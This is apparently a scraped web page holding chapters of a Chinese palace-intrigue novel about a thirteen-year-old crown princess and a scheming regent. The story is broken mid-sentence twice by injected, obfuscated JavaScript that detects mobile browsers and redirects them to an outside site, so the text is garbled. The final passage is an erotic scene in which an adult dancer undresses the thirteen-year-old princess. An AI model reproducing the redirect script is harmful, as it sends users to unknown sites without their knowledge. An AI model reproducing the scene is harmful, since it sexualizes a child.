晚间,金簪看着手中的《古神密录》,翻到曾经撇过几眼的符文处。她取过纸条,观察上面的纹路,再用笔将两者拼成,又想起当年看过的始祖战史,直接取了书来查阅。 至更鼓敲响时,她补出了完整的符文,再临摹刻画至一张大小差不多的纸条上。 最后,她看向纸条上呈现的古里古怪的纹路,嗤道:“大周建国千余年,古时的木牛流马之术只是传闻,今世哪能成真。这小子是天生的木匠,若真能造出来,日后大周西征摩尔、南抗月辉君,岂是难事?” 随后,金簪又用小楷在符文下面写上:坚空竹可制纸张。 “然而,司徒汇编的地理册记载,坚空竹早已在大周的土地上消失。你想要复刻古时之术,恐怕不易。” 金簪抬眸看向窗前的风车座,亲自取来后将干透的符文纸折叠后塞进底座。 办完此事,她躺在床上辗转无眠,待得宫廷更鼓两声,再也躺不住了。 她披一件外袍,避开守夜的宫女,趁着月明星稀,推开天机宫的大门。 天机宫内有一座较高的观星楼。 金簪就守在楼顶的窗口,眺望小小的卜耀阁,以及前方入六卿寮所的官禄道。 如若太宰夜宿外宫廷,住得必定是六卿寮所。 更鼓三响时,一盏昏黄的纸灯从内宫的下钥宫口飘忽而来。 灯前人影漆黑,根本不分明。灯盏在卜耀阁前驻足一下,又沿官禄道向六卿寮所而去。 金簪盯着那盏鬼魅一般的灯,直至它进了远处的六卿寮熄灭为止。 她滑坐在脏兮兮的观星楼底面,仰首透过窗口,望向黑幕上的璀璨繁星,不觉华美,反觉人世凄清。 ** “你这什么眼神?若本宫不和太宰合作,难道等西戎人打进京都,留下我们孤儿寡母抗敌不成?”轩辕皇后午时刚送走太宰,就见金簪入殿,一时心慌,不免色厉荏苒。 在金簪无波的眼神下,她压口气道:“本宫今日只是请他来喝杯茶,说几句好话。你且看看,这京都除了你阁内两个不中用的少傅少保,还有谁敢站在你身边。若不是本宫求和,凌飞那东西早已横死街头。” 金簪的心好似被什么东西狠狠地握住了。她垂目躬身道:“儿臣前来只是问母后安,不巧见他离去。若母后无事,儿臣回阁研学了。” “站住。”轩辕皇后见她要走,走近两步,俯视到肩头的女儿,低声道,“如若丽妃在东都行宫生下皇子,你如何自处?” 金簪垂眸,不语。 “如今,你可拜风子鸾为亚父,求他庇护。” “母后!”金簪震惊地仰起脸,在轩辕皇后不容置疑的眼神下,咬牙道,“不可能。” “啪……”得一声,金簪的脸被切切实实地打偏了。她捏紧袖下的手,想着多宝架下散碎的木条都无法压制怒火。 “此事不容你拒绝。若不是丽妃肚里揣了皇子,恐怕风子鸾都不一定看得上你。那轩辕金香不比你好控制?你要多谢母后为你筹谋。” “是吗?”轩辕金簪想起晚间观星楼上看见的灯盏,咧了下唇道,“多谢母后,儿臣告退。” 待太女离开,轩辕皇后招来玉鸢,呵斥道:“今日太女为何会来金凤宫?” “这……”玉鸢躬身道,“大概是殿下想娘娘了。” “呵,她不恨本宫都是明大理了。去查,是否是金凤宫有人给她报信。”轩辕皇后一掌拍在桌面,又抬起发红的掌心,“令高廷之的女儿给太女调养身体。” “是。”玉鸢领命而去。 15. 阴霾 “殿下,此举认贼作父,与虎谋皮,必被反噬。殿下可不能贪眼前利益,罔顾日后风评。今日若认他做亚父,贪得一时功利,来日殿下登上帝位,又与傀儡何意?如若殿下夺权成功,将风子鸾捉拿下狱,又要遭世人多少的闲言碎语?自古有‘子不言父过’之说,那时殿下如何自处?微臣绝不赞同此举。”沈长清铿锵道。 金簪将目光落在凌飞身上,想听听他的意见。 凌飞反观金簪,察觉太女比往日更能收敛情绪,躬身道:“殿下之意呢?” “大周史上从未有认亚父之说,反倒上古祭师制时,握权祭师常认小儿为子,自请为父。然而,孤所见的秘史当中,这样的人不论是父或子,几不得善终。 孤不想认贼作父。但是,少保大人教过孤,孙法有载:‘求之于势,不责于人。’如今,势比人强,借势方可登堂。” 金簪心中已有谋定,只是此举卖母求荣,于禽兽无异。她需要更多的外在认同感,以此克服内心的羞耻、道德等等枷锁。 她撇开脸道,“近日京中,两位老师的手下可有出事?” 沈长清哑口,面上多几分复杂。 他心知风子鸾提出亚父之说,必有人在暗中撮合,而殿下身边能做成此事,必然是轩辕皇后。 【然而,如此局势,若让一个女子与一只贪狼斡旋,不符君子行事之风。】 他刚要举典说明此举不行,凌飞已经开口。 凌飞猜到金簪已经有方案,但不知她具体如何操作。 他颔首道:“司寇寮的两位小臣与微臣颇有些走动,均已被贬。一者留京被杀,一者侥幸脱得城去。近日,微臣在街上差点被马踏而死……天子离都,倒给风宰辅清算前后旧债、排除异己的机会。” 沈长清那些讲理的话再无法出口。他想起过从甚密得几位儒门学子,不少人已失踪多日。日前,他去上报京畿司徒,却被司徒大人推三阻四,应付了事。 “既然这样,孤更不能认他做亚父。”在沈长清惊讶、凌飞意外的眼神下,金簪继续道,“不然,他当真以为孤是一名好傀儡。” 金簪沉了心思,最终压下心中的羞耻感。 【既然母后要同风子鸾合作,以她的名义出面好了。孤居其后,专做个无能好嬉的女子。】 思定时,金簪袖下的指甲已经掐进掌心。 “殿下……”凌飞内心深处是希望太女能抓住这次机会,借势登虎山。然而,太女给了两人完全意外的做法。 沈长清的心稍许落定,躬身道:“殿下如此做才能保全日后名声。但是,殿下若拒绝风子鸾的提议,风子鸾那边……” 金簪凝目在桌案的风车座扇叶,阴暗的眸光露了嘲讽的笑意,扩大至整张肃正的脸,弯起了微勾的唇角。 她的容貌是极其大气的,属于一见难忘的长相,尤其身高。在男人眼中或许会觉得不正常,因她比起京中大部分的同龄女子都要高挑,属于轩辕家的基因尤为突出。 然而,她又不是很瘦,有着很匀称的轮廓体型,以至于她肃正时颇有威严,讥嘲时又有几分令人感怀的惋惜,却已经不会让人生出怜惜。 十三岁后的金簪已经开始长开,少了幼时动人的纯澈、干净、乃至惹人的怜惜,多了威严和深沉。 此刻,金簪凝目在风车扇叶上,沉沉道:“此事孤自有定夺,两位老师不必再提。对了,少保大人,您的孙儿叫……凌云?” 在凌飞的颔首下,金簪又道,“他经历东都之战前来,恐是受了惊吓吧。你将这架风车拿回去给他玩耍吧。”在凌飞说话前,她又道,“孤更喜欢脱离固缚的木鸟,而不是被绑在座驾上随风而舞的扇叶。” 凌飞这才不做解释,接过南叶递来的风车座。 他懂了金簪的志向,要做就做那凌空飞翔的大鸟,而不是被人事物牵绊在座上的风车。这一刻,凌飞懂了金簪的内心:她在蜕变,蜕变成可以独立飞翔捕食的巨鹰。 “是,凌飞明了殿下的意思。” 此事议定后,两人如常给金簪授课。 至于京都外的纷扰,似乎影响不到卜耀阁的学习氛围。 日入前,金簪派南叶去趟金凤宫,说明晚间会同轩辕皇后一起用膳。 金凤宫的晚餐席上,金簪屏退左右,同皇后将沈长清等人的顾虑分说清楚。她知道轩辕皇后最看重什么,也知道以长远利益来讲,轩辕皇后既踏出与风子鸾合作这一步,必会顾虑往后的事。 用完饭后,轩辕皇后看着深沉的金簪,探手抚在她微凉的脸颊,察觉到她的躲闪,幽幽道:“既然不想认就不认吧。小女儿家有任性的资本。 晚间风寒,簪儿记得多披件外罩。去吧。” “是,母后。”金簪垂眸行礼,而后毫无留恋地转身离去。 【倘若在梵阆死前,你能如此嘘寒问暖,定能暖进孤心。如今,你我间除互相的利用,剩下什么?】 “簪儿,”轩辕皇后朝她笔挺的背脊喊道。 太女金簪停步转身,幽幽双目回望她。 轩辕皇后想起东逃的轩辕帝、折磨人的风子鸾、一边倒的朝堂形势,再有这个日渐离心、不断长大的女儿,试着柔婉道:“母后依簪儿的意思,自会于他虚与委蛇。母后这般做可全是为了你。” 金簪想要拉起唇角,却做不到这么简单的动作。 她自叹一声:孤还是不够强大,不能对常人般待她。她不言,心中又泛起羞愧、耻辱、甚至自厌等诸多复杂的情绪,向轩辕皇后行礼后快步而去。 金翅宫中,金簪在案几前孤坐许久。 她甚至想到未来丑闻爆发后会怎么做……更鼓将响时,她朝书阁外的南叶吩咐道:“明日将卜耀阁的东西搬回金翅宫。” “殿下,此事是否要同……” “不必。少保、少傅会懂孤的用意。”金簪长出口气,朝进来的杜鹃道,“歇息吧。” “是。”南叶和杜鹃如常服侍她就寝。 ** 彼时,凌少保府上的后宅点着寥寥几盏幽灯。 掬梅敲开凌云的房门,见小小年纪的孩童在一丝不苟的搭小木件,慈爱的眸光里闪过无奈。她轻出口气道:“小公子,很晚了。” “嗯。祖父回来了吗?”凌云头也不抬,耳闻掬梅说“刚回不久,人在书房”。他放下手里的东西,敏捷地奔出门。 “小公子,慢着点。”掬梅追出屋,见殷罗端了夜宵过来,忙向她躬身行礼。 殷罗摆下手,拉上掬梅入屋:“阿梅同我客气什么。凌老爷在书房等着小公子呢。这么几步路,丢不了。我带了点小酒,你我浅酌一杯聊聊天。” 掬梅本想说“不放心凌云,”然而,殷罗这般说,她就顺殷罗的意思进了屋。 殷罗现在是凌府的大管家,又是季闲的填房,而季闲是凌府的客居、凌云的师父。 这般的殷罗比以往多了许多的烦扰,比方越来越浪荡不受管的继子、比方想要有个独立可自主的家……而这些,季闲好似都给不了她。 掬梅来了数月,明了殷罗的心事。 她拉了殷罗进屋,帮着摆好凌云那份点心,就与殷罗到外间的小桌喝上一杯,闲谈几句。 凌府的书房,凌飞把玩手里的风车座,瞧着一脸可爱的孙儿冲进屋,轻咳一声后长吁短叹起来。 “哎……上古有这淫巧奇技,尚不能退西戎蛮夷,如今他们都打到西行关,不日就要攻入京都,民不聊生啊……哎……” 凌云清透的目光落在祖父桌面的风车座,垫着脚去够风车。他将风车抓在手上,翻来覆去查看一番。 这期间,小凌云察觉祖父没再唠叨,一不小心就对上他的目光。祖父的双眸在灯下被映的昏黑不明。 凌云怕心思被祖父看透,学着季飞扬装傻的情态,歪头道:“祖父不跑吗?” “跑?这可是咱们的国和家啊,跑去哪里?”凌飞见他一心多用,既把玩手里的风车还能应上话,绕过长桌来到凌云的身边。 他弯身与孙儿平视,沉重道:“云儿可知道西戎人的血腥残酷?” “比青天伏龙大将军李云起在东都城外还要凶吗?”凌云还记得离开东都前夜的慌乱。东都城外喊杀声震天,波及在郊外的仙人庄。 “舅祖领了梅姨和我躲进杜氏祖坟,藏了一夜。待天亮时,我们才偷偷回东都城。我们回过仙人庄,家里的东西被翻得乱七八糟,我的小玩意被扔了一地。” 凌飞听后,将凌云抱起来放在高椅,与他细细讲来:“李云起带得是起义军,传闻有不扰百姓的军纪。仙人庄被洗劫是因为宁海道府山中的流寇窜逃至东都郊外,祸乱当地百姓。 与李云起的起义军相较,凶恶的盗匪草菅人命,不是好人。但是,西戎的摩尔人已不配叫人。 他们不仅抢夺百姓财物、女子,屠戮时连老人、孩童都不曾放过,别说百姓藏起来的铜板碎银,乃至粮种、蛋种都被他们掠夺。” 凌云抓紧手里的风车座,清澈的眸光看向祖父道:“季闲师父也骂过摩尔人,飞扬哥哥也说西戎是蛮夷之境。待日后飞扬哥哥学艺有成,就去教训他们。” “……呵……”【半句不提自己呀。】 凌飞被孙儿的口吻说笑了,抚摸着他的头道:“击退摩尔人之事,非一人之战可成,而是需要军队。但如今的大周已无将可派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“梅姨,她真得知道真的知道……可是……坚空竹,我去哪里找这样的竹子呢?”凌云兀自坐在矮几桌前,将小纸条上的符文细细地临摹出来。 掬梅看两眼他的鬼画符,诧异道:“这不是小公子和杜老爷研究许久的纹路吗?” 凌云没有回她,一直到他画完再核对过才想起掬梅的问话,回道:“是啊。舅祖说,这世上古史最全的地方一定在金宫,真让他说对了。” 掬梅都出去两趟,这次是端水盆回来。 她听到凌云的话,摇了下头,习惯了凌云做事忘我的性子。她就顺着凌云,应和道:“难怪近日小公子这么奇怪。往日你最舍不得将手里的木件送给凌老爷,说他拿去赠外人。这次小公子眼巴巴得将风车递给老爷,原来是暗藏玄机。 小公子,你的心眼动到宫里那位,若是被凌老爷知道,他不得罚你啊?”掬梅想道这茬,又担心凌云会挨罚。 “所以我没同祖父说啊。我偷偷将纸条藏在风车里,试想过那人可能会看到……又可能会看在祖父的面子上回我。嘻,她真回我了,而且,祖父好似不知道风车里的秘密。那人……是个好人。”凌云将金簪定为“好人”二字。 掬梅觉得凌云孩子气,哪有人会以“好人”形容当今的太女殿下。那该是个金尊玉贵又极美丽威严的女子吧。 凌云端详折纸,将“坚空竹”三字誊抄一遍,朝守在一旁发呆的掬梅道,“梅姨。祖父说明早要教我军策,让我提早半个时辰起床。梅姨,你记得帮我喊声飞扬哥哥,就说祖父有要事寻他。” 凌云的目光不曾离开符文和坚空竹,说完后又杵着下巴思考。 “为何喊他?”掬梅自觉难掌握这个小少年的奇怪思路。 “飞扬哥哥是我的好哥哥,又是师父的孩子。他还有一个英雄梦,学祖父这个军策正合适。”凌云一心多用地解释句,又喃喃道,“这竹子……我和舅祖试过多种,但要符文起作用,必要这……坚空竹。秘银好找,可这坚空竹到底有什么特别、又在哪里呢?不行,我还得设法问她。” “好了,小公子,该休息了。”掬梅强行收走凌云手头的东西。 结果凌云把这珍贵的符文带在身上的小布包,连洗漱时都不曾拿下布包。 隔日,季飞扬一脸痛苦地送凌飞去上朝。待凌飞走后,他一把揪住凌云的耳朵,低吼道:“臭小子胆儿肥了,敢诓你飞扬哥来受苦?你不知道我此前是耍了多少泼才赖掉这课吗?” 凌云举起手臂,袖口硬邦邦的东西戳在季飞扬的腰间。六岁有余的他差不多够得到季飞扬的腰,歪张可爱的脸道:“飞扬哥放手,袖里箭可不长眼。” “你还敢威胁你哥。几年不见,真正是个人物了。亏你一到京都,哥就带你找好吃的、好玩的。走,你既诓我上文课,哥就带你飞檐走壁。”季飞扬已是少年郎,长得也人高马大。他一把提起凌云,在他“啊啊……”的喊叫声中跃过墙头,往自家老爹的院里奔去。 天色刚朦,凌府已是一片鸡飞狗跳地闹腾起来。 16. 斗舞 数日后,燕地的兵马入都。 风子鸾带金簪和一行官员一起出城迎接北延司马石鸣春和他的部队。 风子鸾看向旁边高不过肩的太女,一身的孔雀袍将她衬出几分上位者的气势,含笑道:“殿下近来居于闺中,怎不上朝?” 金簪连眸都不转,只袍绣下的手已经抓住袍内角。 她试着沉稳道:“孤去不去又有什么不同?” “小女儿气话。”风子鸾转头朝旁边的司空大人笑了声,耳闻对方赔笑,也就不再言笑。 此番引北延人南下抗击西戎,一旦石鸣春入朝争权,有得一番较劲。 【这得要感谢凌飞。】 风子鸾思及此,目光落在太女后方的凌飞处,又兀自笑起来。 他想起轩辕皇后——有司赤燕那假模假样的嘴脸,明明不满凌飞此人,却力求保他。 【甚至不惜以自身为饵……啧,当真是假得很啊。然而,有司赤燕出身胜争道府。若无意外,她正是月辉君推举送入京都的探子。一名探子能爬到皇后之位,不得不说有司赤燕和她背后的势力了得。这番拢着有司赤燕,说不定能牵扯出月辉君留在京都的暗桩。】 风子鸾又望眼日渐长开的金簪,不知作何笑了起来。那笑容意味深长,似有了什么有趣的主意。 旁边的司空大人偷觑一眼太宰的神色,不明觉厉,一时心惊肉颤。 太女和风子鸾站等一早上,石鸣春的人马并未出现,而是派一名斥候到京都的西城门。 斥候远远地下马,朝等候的官员拱手高喊:“太女殿下,石将军言:日夜奔袭南下可不是来求皇恩浩荡,如今军情紧急,他先带北延兵马过英雄道,往西行关阻截摩尔人入都。 请太女殿下回宫,待他日将军将摩尔人打出寒雪关,再来殿下的面前邀功,求那皇恩浩荡。” 风子鸾已经沉了目色,朝金簪道:“殿下,请。”他要看看这小女子的深浅。 金簪的目光落在他修长的手指,一步踏出,心思百转。 她坚定目光,挺胸高声道:“石将军高义、众将士大义……孤在此恭祝大军势如破竹,凯旋而归。” 她探手而出,一旁差点反应不过来的宫女在风子鸾的示意下将准备已久的烈酒奉上。 金簪接过酒碗,朝旁边的虎贲军将士道:“请这位将军把酒盏送去给对面的北延军士。” 虎贲军将领接过酒壶,快马向对方奔去。 待那斥候拿到酒,在对面的金簪举盏时也举起酒杯。 双方远远一敬,各自喝干。 金簪按太女该有的气度和礼敬,将空碗向地面一覆,示意喝尽。她摆好酒盏,又向斥候、英雄道的方向郑重地行半礼。“送大周英雄。” 百官见状,随金簪向英雄大道行礼。“送大周英雄。” 太女这番行事倒让官员对她有了一点新的认识。 遇事不慌、镇定自若。军人本就粗莽,说话夹枪带棒是常事,何况在这等紧要时机。太宰却令太女在众官前独自应对斥候,而太女的表现当真是可圈可点。 斥候跪地还了太女一礼,而后上马。 他调转马头,叱咤一声“驾”,带着风萧萧兮之气快速向西奔去。 金簪看着那逐渐消失的马匹人影,耳闻风子鸾的笑声,竟生出一丝羡慕的心思。如若像那军士一样策马沙场,不失为人生快意吧,好过与这般大奸大恶之人在那狭窄之地虚与委蛇。 次日,轩辕皇后遣人通知金簪前去大朝会主持朝政。 金簪所谋之局终于向前迈进一大步。 大朝会半旬一次,金簪坐在龙椅下的矮几前,接受留京官员的朝见。 因她上朝,少傅沈长清、少保凌飞也出现在朝堂。 然而,风子鸾派系的人完全不把他们当回事,跟不存在这几人一样。 整个朝议过程像是风子鸾在六卿寮的议政场地。 金簪的面色稍稍发白,一双眼睛像是蒙着雾气,眼睑一直在打架。她在半梦半醒的状态下渡过大朝会。 散朝前,风子鸾带百官向金簪行退朝大礼。 金簪俯视这些人的脑袋,深凝了目色。她打着哈欠道:“散了吧。” 在南叶和杜鹃的搀扶下,她打算回金翅宫。然而,风子鸾遣了男侍请金簪去卜耀阁。 金簪来到卜耀阁,本已经搬空的地方不仅被重新布置,甚至添不少华贵用品,更像是女子闺阁。她的心中蕴怒火,然目里微微放光,幽眸瞥向避让一旁的少傅和少保两人,再有立在厅中的风子鸾,歪着头,状若好奇道:“宰辅,这是何意?” “殿下如今已有少傅、少保两职,还缺少师。不过少师官位……呵…… 太保楚刘素战死寒雪关,太保位如今正缺人。风某人带兵打过实战,比纸上谈兵者多几分真实。殿下,由风某来担任殿下身边的太保一职。 殿下以为如何?”风子鸾直言快语道。 一直将自身当摆件的沈长清愕然抬头,上前道:“太宰大人何出此言?太保乃是三公帝师之一……”【如今缺得何止是太保,还有太傅……】 “多谢风大人。”凌飞打断沈长清的话,向风子鸾躬身道,“由宰辅教殿下,乃是太女求之不得之事。” 金簪得了凌飞的眼神,上前向一脸得意的风子鸾行礼:“多谢宰辅大人。” 【亚父不成就当老师,又是凌大人的顶头上司。呵,风子鸾不仅要将孤架上去,还要折磨凌飞。】 风子鸾满意了。 【太女既是傀儡,傀儡就该时时握在手上才能安心。至于凌飞、沈长清之流,区区无权少保、少师,翻不出风浪。】 这日过后,金簪在外廷的形势完全转变。 在风子鸾派人加急请示东都的轩辕帝后,金簪按旨搬进天机宫,还有朝臣前来拜见她,甚至有官员给天机宫送东西。 金簪头一次发现风子鸾这种权臣的好处,可以掌控在东都逍遥的皇帝,将毫无实权的太女送进大周储君居住的宫殿。 太宰位,当真是占尽天下的便宜。 不仅金簪的日子好过了,轩辕皇后在后宫也扬眉吐气。 她私下将后宫颇有姿色的妃子全都拢在一块,打算遣虎贲军将她们送往东都的行宫。 【轩辕夏不是酷爱生子吗?将这些正值孕龄的女子都给他送去。】 此用意不可谓不毒。 风子鸾得知她的想法和行动后,目光落在轩辕皇后身边的玉鸢处,直接道:“娘娘,后宫妃嫔有谁不曾被陛下宠幸过?那些早已不新鲜,不妨您将身边的心腹、以及适龄、颇有姿色的宫女都送去东都。” 轩辕皇后有些诧异。 晚间服侍风子鸾得另有其人。她的眸光落在微微后缩的玉鸢处,了然道:“若太宰喜欢玉鸢,那将她带出宫便是了。” 玉鸢吓了一跳,猛地跪下来磕头:“娘娘,奴婢不离开您。娘娘……” 然而,风子鸾上前捏起玉鸢的下颚,在对方微颤的目光下冷笑道:“东都可是个好去处。你且随本宰出宫。另外,娘娘再安排十个宫女,本宰会另做安排。” 轩辕皇后有些猜到风子鸾的用意。如今两人的目标一致,自是有商有量。 而玉鸢的腰身一软,摊在地上。 她求救似地看向皇后,却见对方撇开脸,绝望一下子充斥无力的内心。 轩辕皇后在风子鸾离开前将玉鸢身后的家人地址等等都交待清楚,以示她的合作诚意。 然则,数日后,大批的宫妃前往东都的队伍里不仅有打扮明丽的玉鸢、还有十名正当妙龄的宫女,另外几名眼生但身段不错的妖娆女子。 轩辕皇后将这些人一一过目,扬了眉宇。 待这批人离开后,她含笑嘀咕句:“风子鸾此人长得人模狗样,行事作风真是无毒不丈夫,不愧为奸雄。” ** 几日后,金簪又见到那名此前来报信的小宫女。 小宫女跪在她的面前,泣不成声道:“白萼求殿下救救奴婢。娘娘点了一众宫女,提拔奴婢在晚间伺候。奴婢……” 金簪闭下眼,屏退左右。 她绕过桌子,走到白萼的身边,站着俯视她:“你认为自己逃得了吗?” 白萼的泪眼婆娑,委屈道:“奴婢……只是想到了年纪被放出宫去,呜呜……” “玉蓉、玉鸢都比你年纪大,到了年纪可能出宫?”金簪扯起唇角,搭手扶起白萼,缓缓道,“你若在御花园直接反抗她,孤便来保你。若你不这么做,孤也帮不了你。 她不是傻子。若孤就这样将你要来,日前你通风报信一事就漏了馅。往后,她多得是机会要你的命。” 白萼的双腿一软,又坐在地上。 她僵了一会,抬眸道:“殿下,如若我应了娘娘,来日她也必会杀奴婢。” “你是个聪明人。今日你不应她,死得更早。但是,你若在御花园反抗,被孤偶遇,或有一次得救的机会。”金簪给了她最佳的方案。 白萼明白她的意思,向金簪磕首后退离天机宫。然而,她的行动还是失败了。 这趟进出天机宫,行为落入了轩辕皇后的耳目。 皇后直接令人锁死金凤宫的宫门,不许白萼离开,还将苦苦反抗的白萼丢进偏殿。 晚间,风子鸾就入了偏殿。次日,一席草席潦草的裹了一具尸体送往冷宫后的小林坡。 那夜的夜半时刻,金簪独自一人立在观星楼。 她注视那盏鬼魅一样出现的幽灯从后宫下钥处穿过天机宫前、再往官禄道尽头的六卿寮所行去。 她将手里的弓箭高高地举起,箭矢对准那盏鬼灯后的朦胧黑影。 直至幽灯在目的地消失,她才无力地放下弓箭,背靠在观星楼的木墙,深深地凝望楼窗外的明月。 这日,凌飞教金簪下棋,发现金簪摆了一副极为复杂的棋局。 他有些震惊于金簪的棋路,思索再三道:“殿下的棋下的越来越高明。以兵为饵,以将为锋,诱敌深入,再围其势。殿下,思虑甚深。” 金簪把玩指尖的棋子,缓声道:“看似毫无关联,其实落在这盘上,每一粒子皆有用。螳螂捕蝉、黄雀在后。不过是借刀杀人、坐收渔翁之举。” 凌飞落子的动作一顿,还没落定就拿回棋子。 他稍许蹙眉地望向金簪,沉吟道:“殿下……看出了什么?” 金簪看着这些棋子,好像它们已经幻化成一张张棋网中得有些眼熟的脸。 她指在看似无关紧要,却可做围杀之势的棋子,淡声道:“玉鸢被风子鸾送去东都,随行还有宫舞乐师和东西教坊的女子。玉鸢和数名宫女都是母后身边的女官。” 凌飞思量几许,不解道:“皇后娘娘是在培植后宫势力,欲分去月女和丽妃在帝心中的宠爱?” 金簪抬了下眸子。 十三岁的眸色已经一片幽深静谧,好似蕴藏无数的心思和计量。 凌飞不免暗吸口气,与初见金簪时的感官做了稍许比较。 他有种说不出来的难过、惋惜、以及庆幸。 “若孤猜得不错,太宰大人不想要父皇回京都。呵,母后应该也是这个意思。”金簪见对面的凌飞迟迟不落子,像是此刻的父皇在举旗难定。而金簪最终的目标,不正是战胜对面的“敌人”? “父皇应该也不想回京都。如今孤入驻天机宫,丽妃在行宫诞下皇子轩辕金骧,不论是父皇本人、还是丽妃,都不想这么快回宫。 毕竟,母后和孤如今在这金宫正借力得势,而十五登令楼之约,余不过一年。” “那些送往东都的女子是为了……”凌飞换位思考,以皇后、风子鸾等人的用意,不由倒吸一口冷气。他看向面色平静的金簪,觉得手中的棋子重若千斤。 “孤现在很感谢一个人。”金簪将棋子扔回棋盒,端起茶喝了口,平静道,“孙太傅将凌大人送到孤的身边。孤真得感激他,也觉得很庆幸。 在凌大人的眼中,与第一次见孤时感官应该不同吧? 如今的孤如何?” 凌飞也将棋子放回棋篓,叹了声道:“第一次见殿下,凌飞只觉得殿下像是个失了人性的木偶,比之微臣孙儿雕刻的木偶还失灵气。” 金簪回顾下当时的心境,好似已经记不清,也知道根本回不去当年,就不必深究。 她颔首道:“如今呢?” “殿下成长蜕变了,不仅可以收放自身的情绪,也越发懂得利用人心观势的手段,更知道火中取栗,忍常人所不能的利弊。”凌飞说完,却在心里惋惜。 【多好多聪明的孩子,常人家里该是如何模样?】 他顿了下,又道,“微臣也庆幸一事。” “何事?”金簪扬眸反问道。 “尽管殿下养出帝王该有的谋略,但还是保留了一些最质朴的东西。那是殿下最珍贵而难得的品质,微臣希望殿下一直保有它们。”在金簪疑惑的眼神下,凌飞起身向她行礼,而后缓步离开天机宫。 南叶过来收拾棋盘,顺道将手中的多宝盒递给金簪。 “这是凌少保离开前留下,说是他孙儿送给殿下把玩的礼物。” “礼物?”金簪拨弄着毫无缝隙的盒子,玩笑道,“怕是又遇到难题,背着他祖父来取经。” “可我瞧着凌少保不像是知情啊?”南叶瞧着金簪在找多宝盒的木纹缝隙,也帮着找起来。 金簪莞尔道:“他自然是知道一些。所谓,我保留了珍贵的……”说到这,金簪顿了下,见南叶定睛望来,将多宝盒放在桌面,沉着道,“孤一会研究吧,你收拾后下去吧。” “是。”南叶暗暗一笑。 【凌大人不说明此事,就是保留了殿下那一丝珍贵的童心善意吧?】 晚间,金簪走进专门的舞房。 她看着四面发光的琉璃镜,缓缓地抬起手臂。 正值发育期的她有一股少女独有青雉之韵,在抬手扬臂扭身间亦有武者的力感。 “啪啪啪……”三击掌事响起。 金簪凌厉地望向背靠门帘穿着较厚的莺歌,幽幽道:“谁叫你进来,不怕死吗?” “奴家在这宫里一年有余,小心翼翼地活着,倒也觉出些无趣。今日奴家有幸见了殿下的舞,懂了我那前任为何倾心教殿下舞蹈。” 莺歌边走边褪衣,厚实的冬衣落地,露出内在的粉色纱衣和大红色的艳丽肚兜,以及半透微明的窈窕风情的身段。 金簪蹙眉,任由莺歌滑如油脂的手摸在脸颊处,侧脸道:“出去。” “不。殿下可知道斗舞?哦……不是宫廷舞乐司里那种正经古板的斗舞。”莺歌本就是西教坊的人,有着艺伎的风流情态。 她如妖娆的蛇般从金簪的身后侧覆在她的耳边,吐气如兰道:“西教坊里的斗舞是两名舞者随意而舞,彼此之间心照不宣,却能从对方舒展的肢体、舞动时散发的热情引起大家的共鸣。论哪位舞者的技高一筹,就在这共鸣当中谁的舞蹈更投入,更能引起旁人对舞者的痴迷。” 金簪本以为莺歌这样的女子一辈子都不会踏出她保有性命的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059943|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防线。 她一步旋过身,望入对方动情的眼睛,冷冷道:“你敢教孤这样的舞?” 莺歌微微一笑,敛了几许玩闹的眸色。或者这刹那的功夫,她真得有考虑过性命这回事。可是,这宫里实在太闷,简直是消磨人的光阴生命,像是一个巨大的囚牢,可以将人逼疯。 她又扬起湛亮蕴含深情般的眸,瞧着与自己一样高,甚至日后会更高的女孩,幽幽道:“殿下正是最好的年纪,动情的最佳时刻。这般的你若参与斗舞,不仅你能尽情,我这无聊乏味的宫廷养老生活应该也能兴起几分波澜。” “西教坊的女子都像你这样吗?”金簪看她扬起手,挽住彼此的手腕,随她滑入腿间的舞步也旋身动起来。 “不,梵阆被紫琴君看中前,奴家才是西教坊的第一人。不过,梵阆走后奴家又是这第一了。可惜,好景不长,年纪颇大的奴家想找个稳妥人嫁了都寻不见,只能退居了。” 莺歌的手一扭,退了金簪身上的锦衣,将她剥得只剩内袍。她顺着金簪反抗的手臂,滑入她的五指,紧紧地扣住后,带她尽情地旋转起来。 金簪想要骂她、驳斥她,却沉入这旋踏地律动当中。这可以令她望俗忘忧。 “殿下的腰肢真好,软硬适中又有力量。如若奴家是男子真是舍不得放手。”莺歌的手用力一拽,想要趁机再退金簪的内袍,却被狡猾的金簪扭身脱离。 金簪不仅脱离莺歌的节奏,还翻身以枪舞之术压制莺歌,将她的粉色纱衣彻底脱了,又缠在莺歌的头、覆住她妖魅的脸。 “哈哈哈……” 纱衣裹不住莺歌的嘴,在她缓慢脱离的旋律中又渐快地融入金簪的舞蹈动作,还将肚兜的细带送入金簪莲花般的指尖。 金簪不过轻轻地出枪般一送手臂,莺歌身上的肚兜滑落在地,跳出如雪的玉峰。 粉色的纱衣从莺歌的肩头滑落,覆在她成熟女性的饱满身体。 金簪猛得滞了下,被所见的精彩扼住呼吸,乃至被它们吸引全部的注意力。 她被忽然媚笑的莺歌勾脚一扭,滑跪在地,成为欲望外释的女子的“奴隶”。 在金簪反应过来前,莺歌抬起金簪的手落在她的白色亵裤的细带处。 金簪猛得收回手,就听莺歌咯咯地笑起来。 “殿下以为西教坊那等地方能让人引起共鸣得是什么舞?”此刻的莺歌像是获胜的女皇,俯视被她性魅力捕获的奴仆。 金簪仰脸看着高耸双峰的莺歌,恍然明白过来:我竟然被她当成那些流连勾栏的臭男人? 她要推开莺歌,却被莺歌一把抓住手按在滑腻的平坦肚腹,不仅按住,还被莺歌引导着不轻不重地在她的肚腹上打着圆、揉摸着。 金簪的呼吸重了起来,撇开脸,却见满屋子的琉璃镜里都是手下这具魅惑的身体。 大冬天里,她吓地冒出一身冷汗,出口就道:“大胆……” 